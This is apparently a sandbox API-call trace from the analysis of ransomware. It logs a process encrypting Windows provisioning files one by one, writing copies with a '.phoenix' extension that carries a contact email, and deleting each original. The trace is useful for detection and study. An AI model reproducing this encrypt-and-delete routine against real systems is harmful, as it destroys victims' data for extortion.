	[0255.540] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0255.562] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.562] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.563] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0255.563] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.563] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.563] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.563] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.563] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.563] CloseHandle (hObject=0x2f4) returned 1
	[0255.563] CloseHandle (hObject=0x2e0) returned 1
	[0255.564] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.565] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.565] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.566] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0255.566] CloseHandle (hObject=0x2e0) returned 1
	[0255.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.566] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.566] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.566] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.567] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0255.567] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.567] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.877] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0255.877] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0255.878] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0255.878] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.878] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.878] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.878] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.878] CryptDestroyKey (hKey=0x151300) returned 1
	[0255.878] CloseHandle (hObject=0x2e0) returned 1
	[0255.878] CloseHandle (hObject=0x2f4) returned 1
	[0255.878] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.880] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.880] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.881] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=707) returned 1
	[0255.881] CloseHandle (hObject=0x2f4) returned 1
	[0255.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0255.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.881] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.881] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.881] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.881] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.882] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0255.882] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.882] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c3, lpOverlapped=0x0) returned 1
	[0255.883] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.883] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0255.884] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.884] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.884] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.884] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.884] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.884] CloseHandle (hObject=0x2f4) returned 1
	[0255.884] CloseHandle (hObject=0x2e0) returned 1
	[0255.884] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 1
	[0255.885] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.885] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.886] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0255.886] CloseHandle (hObject=0x2e0) returned 1
	[0255.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0255.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.886] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.886] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0255.887] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.887] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0255.888] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.888] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0255.889] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.889] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.889] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.889] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.890] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.890] CloseHandle (hObject=0x2e0) returned 1
	[0255.890] CloseHandle (hObject=0x2f4) returned 1
	[0255.890] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 1
	[0255.891] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.891] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.891] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0255.891] CloseHandle (hObject=0x2f4) returned 1
	[0255.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.892] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.892] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.892] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.892] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.892] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0255.892] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.893] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0255.896] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.896] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.897] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0255.897] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.897] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0255.897] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.897] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0255.897] CryptDestroyKey (hKey=0x151040) returned 1
	[0255.897] CloseHandle (hObject=0x2f4) returned 1
	[0255.897] CloseHandle (hObject=0x2e0) returned 1
	[0255.897] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.898] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
